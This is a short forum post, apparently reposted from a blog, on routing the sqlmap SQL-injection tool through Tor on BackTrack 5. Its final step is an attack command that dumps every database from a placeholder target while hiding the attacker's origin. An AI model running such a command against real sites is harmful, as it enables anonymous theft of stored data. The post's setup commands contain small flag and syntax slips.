Jump to content
Sign in to follow this  

Howto: Use sqlmap via Tor on Backtrack5

Recommended Posts


This post is tutorial from my blog about "Use sqlmap via Tor on Backtrack5". if you want to see more, please visit my blog.(http://r00tsec.blogspot.com)

Howto: Use sqlmap via Tor on Backtrack5

This test is just one of my lab not illegal or something like that.

1. Edit the repository to the list

- vim /etc/apt/sources.list

2. Add tor's repository to the list

- deb http://deb.torproject.org/torproject.org lucid main

3. Add gpg key and add into the key list.

- gpg --keyserver keys.gnupg.net --recv 886DDD89

- gpg --export A3C4F0F979CAA22CDBA8F512EE8CBC9E886DDD89 | sudo apt-key add -

4. Update the package list and Install tor packages.

- apt-get update & apt-get install tor tor-geoipdb

5. Get the config file of polipo from tor website and rename or remove the old config.

- wget https://gitweb.torproject.org/torbrowser.git/blob_plain/HEAD:/build-scripts/config/polipo.conf

- mv config config-bak

- cp polipo.conf config

6. Try to use sqlmap with "-tor" option.

- cd /pentest/web/scanners/sqlmap

- ./sqlmap.py -u "http://target.com/cart.php?id=1" --dump-all -tor

PS. If you want to get the sqlmap with svn, try to use

- svn checkout https://svn.sqlmap.org/sqlmap/trunk/sqlmap

Edited by materaj

Share this post

Link to post

Please sign in to comment

You will be able to leave a comment after signing in

Sign In Now
Sign in to follow this